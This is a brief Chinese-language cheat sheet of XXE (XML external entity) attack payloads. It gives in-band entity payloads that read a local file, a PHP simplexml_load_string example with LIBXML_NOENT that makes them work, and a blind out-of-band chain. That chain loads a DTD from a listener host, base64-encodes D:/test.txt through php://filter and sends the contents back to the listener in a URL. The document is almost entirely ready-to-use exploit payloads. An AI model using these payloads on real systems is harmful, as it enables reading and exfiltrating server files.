XXE payload
有回显:
<!DOCTYPE root [ <!ENTITY c PUBLIC "bar" "C:/test.txt"> ]> <test>&c;</test>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "C:/test.txt"> ]> <x>&f;</x>
PHP代码示例:
echo (simplexml_load_string('<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "C:/test.txt">
]>
<x>&f;</x>', "SimpleXMLElement", LIBXML_NOENT));
无回显:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://127.0.0.1:9999/test.dtd"> %remote;%int;%send; ]>
http://127.0.0.1:9999/test.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999/?p=%file;'>">